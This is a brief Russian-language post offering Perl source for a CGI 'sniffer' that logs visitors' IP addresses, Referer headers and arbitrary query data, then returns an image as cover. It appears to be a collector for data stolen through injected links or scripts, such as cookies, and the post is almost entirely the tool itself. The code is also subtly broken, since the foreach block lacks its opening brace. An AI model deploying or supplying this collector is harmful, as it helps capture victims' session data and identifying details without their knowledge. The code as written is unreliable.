Исходник простого cgi-сниффера на перле. Позволяет отслеживать IP адрес, поле Referer, и принимать произвольные данные, переданные через CGI. Скрипт возвращает картинку.

 

$LogFile="log.txt";

$mlength=50;

 

print "Location: image.gif\n\n";

 

read(STDIN, $input, $ENV{'CONTENT_LENGTH'});

$input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};

$input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

 

$now_string = localtime;

$ref = $ENV{'HTTP_REFERER'};

 

open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";

@LOGtext=<LOG>;

close (LOG);

 

open (LOG, ">$LogFile");

 

print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";

 

$counter=1;

foreach $LOGitem (@LOGtext)

        if ($counter<$mlength){ print LOG "$LOGitem"; };

        $counter++;

};

 

close (LOG);

 

exit;